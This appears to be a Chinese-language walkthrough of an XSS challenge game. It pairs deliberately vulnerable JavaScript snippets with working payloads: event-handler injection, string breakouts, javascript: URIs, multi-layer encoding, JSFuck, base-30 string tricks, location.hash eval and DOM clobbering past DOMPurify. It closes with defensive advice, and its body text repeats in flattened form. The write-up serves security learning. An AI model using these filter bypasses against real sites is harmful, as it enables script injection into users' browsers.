XSS Game分析以及知识点总结
字数 1528 2025-08-15 21:31:34

XSS攻击绕过技巧详解

1. 基础XSS注入

1.1 无过滤直接注入

场景:当没有任何过滤时,可以直接注入XSS payload。

示例

<h2 id="spaghet"></h2>
<script>
  spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

解决方案

<svg onload=alert(1337)>

原理:直接注入SVG标签的onload事件,当元素加载时执行JavaScript代码。

2. 字符串拼接绕过

2.1 利用表达式执行

场景:当用户输入被拼接进JavaScript字符串表达式时。

示例

let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)

解决方案

"-alert(1337)-"

原理:通过-运算符分割字符串,强制JavaScript解析器执行alert函数。最终表达式变为:

ma = "Ma name "-alert(1337)-""

3. HTML属性注入

3.1 绕过尖括号过滤

场景:当<>被过滤,但可以注入HTML属性时。

示例

let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`

解决方案

"onfocus=alert(1337) autofocus="

原理

  1. 闭合placeholder属性
  2. 添加onfocus事件处理程序
  3. 使用autofocus自动触发事件

4. JavaScript伪协议利用

4.1 表单action注入

场景:当用户输入被用作表单的action属性时。

示例

ricardo.action = (new URL(location).searchParams.get('ricardo')

解决方案

javascript:alert(1337)

原理:使用javascript:伪协议直接在URL中执行代码。

5. 编码绕过

5.1 HTML实体编码+URL编码

场景:当特殊字符被过滤时。

示例

smith = smith.replace(/[`()\\]/g, '')

解决方案

<!-- HTML实体编码 -->
<svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">

<!-- URL编码 -->
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

原理:通过多重编码绕过字符过滤。

6. 极端字符限制绕过

6.1 JSFuck编码

场景:当所有字母和数字被过滤时。

示例

balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

解决方案

// JSFuck编码的alert(1337)
[][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](([+!+[]]+([!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

原理:JSFuck仅使用[, ], (, ), !, +六个字符构造任意JavaScript代码。

7. 特定字符串过滤绕过

7.1 匿名函数绕过alert检测

场景:当"alert"字符串被过滤且有长度限制时。

示例

mafia = mafia.replace(/alert/g, '_')
eval(mafia)

解决方案1

Function(/ALERT(1337)/.source.toLowerCase())()

解决方案2

// 将30进制的8680439转换为字符串就是"alert"
eval(8680439..toString(30))(1337)

解决方案3

// 在URL后添加#alert(1337)
eval(location.hash.slice(1))

原理

  1. 使用正则表达式构造字符串并转换为小写
  2. 利用数字进制转换隐藏敏感字符串
  3. 利用URL片段标识符传递payload

8. DOM Clobbering技术

8.1 通过DOM元素覆盖JavaScript变量

场景:当使用DOMPurify等库过滤但允许某些HTML元素时。

示例

boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer'))
setTimeout(ok, 2000)

解决方案

<a id=ok href=tel:alert(1337)>

原理

  1. 创建id为"ok"的DOM元素覆盖全局变量ok
  2. 当setTimeout调用ok时,会调用toString()方法
  3. 标签的toString()返回href属性值
  4. 使用DOMPurify允许的协议(如tel:)构造payload

总结

常用XSS绕过技巧

  1. 事件处理程序:利用onload、onfocus等HTML事件属性

    <svg onload=alert(1337)>
    
  2. 自动触发:结合autofocus自动触发事件

    <input autofocus onfocus=alert(1337)>
    
  3. JavaScript伪协议:在URL中直接执行代码

    javascript:alert(1337)
    
  4. 编码绕过

    • HTML实体编码:&#x61; = 'a'
    • URL编码:%3C = '<'
    • 多重编码组合使用
  5. JSFuck:极端字符限制下的代码构造

    [][([+[]]+...]()
    
  6. 字符串构造技巧

    • 数字转字符串:(8680439).toString(30) = "alert"
    • 正则表达式:/alert/.source
    • 匿名函数:Function('alert(1337)')()
  7. DOM Clobbering:通过DOM元素覆盖JS变量

    <a id=globalVar href=tel:alert(1337)>
    
  8. 间接执行

    • 利用location.hash传递payload
    • 利用setTimeout等函数间接执行字符串

防御建议

  1. 始终对用户输入进行严格的过滤和转义
  2. 使用CSP(Content Security Policy)限制脚本执行
  3. 避免使用eval、innerHTML等危险函数
  4. 使用专业的安全库如DOMPurify处理HTML
  5. 对特殊字符进行严格过滤
  6. 实施输出编码,根据上下文使用适当的编码方式
XSS攻击绕过技巧详解 1. 基础XSS注入 1.1 无过滤直接注入 场景 :当没有任何过滤时,可以直接注入XSS payload。 示例 : 解决方案 : 原理 :直接注入SVG标签的onload事件,当元素加载时执行JavaScript代码。 2. 字符串拼接绕过 2.1 利用表达式执行 场景 :当用户输入被拼接进JavaScript字符串表达式时。 示例 : 解决方案 : 原理 :通过 - 运算符分割字符串,强制JavaScript解析器执行alert函数。最终表达式变为: 3. HTML属性注入 3.1 绕过尖括号过滤 场景 :当 < 和 > 被过滤,但可以注入HTML属性时。 示例 : 解决方案 : 原理 : 闭合placeholder属性 添加onfocus事件处理程序 使用autofocus自动触发事件 4. JavaScript伪协议利用 4.1 表单action注入 场景 :当用户输入被用作表单的action属性时。 示例 : 解决方案 : 原理 :使用javascript:伪协议直接在URL中执行代码。 5. 编码绕过 5.1 HTML实体编码+URL编码 场景 :当特殊字符被过滤时。 示例 : 解决方案 : 原理 :通过多重编码绕过字符过滤。 6. 极端字符限制绕过 6.1 JSFuck编码 场景 :当所有字母和数字被过滤时。 示例 : 解决方案 : 原理 :JSFuck仅使用 [ , ] , ( , ) , ! , + 六个字符构造任意JavaScript代码。 7. 特定字符串过滤绕过 7.1 匿名函数绕过alert检测 场景 :当"alert"字符串被过滤且有长度限制时。 示例 : 解决方案1 : 解决方案2 : 解决方案3 : 原理 : 使用正则表达式构造字符串并转换为小写 利用数字进制转换隐藏敏感字符串 利用URL片段标识符传递payload 8. DOM Clobbering技术 8.1 通过DOM元素覆盖JavaScript变量 场景 :当使用DOMPurify等库过滤但允许某些HTML元素时。 示例 : 解决方案 : 原理 : 创建id为"ok"的DOM元素覆盖全局变量ok 当setTimeout调用ok时,会调用toString()方法 标签的toString()返回href属性值 使用DOMPurify允许的协议(如tel:)构造payload 总结 常用XSS绕过技巧 事件处理程序 :利用onload、onfocus等HTML事件属性 自动触发 :结合autofocus自动触发事件 JavaScript伪协议 :在URL中直接执行代码 编码绕过 : HTML实体编码: &#x61; = 'a' URL编码: %3C = ' <' 多重编码组合使用 JSFuck :极端字符限制下的代码构造 字符串构造技巧 : 数字转字符串: (8680439).toString(30) = "alert" 正则表达式: /alert/.source 匿名函数: Function('alert(1337)')() DOM Clobbering :通过DOM元素覆盖JS变量 间接执行 : 利用location.hash传递payload 利用setTimeout等函数间接执行字符串 防御建议 始终对用户输入进行严格的过滤和转义 使用CSP(Content Security Policy)限制脚本执行 避免使用eval、innerHTML等危险函数 使用专业的安全库如DOMPurify处理HTML 对特殊字符进行严格过滤 实施输出编码,根据上下文使用适当的编码方式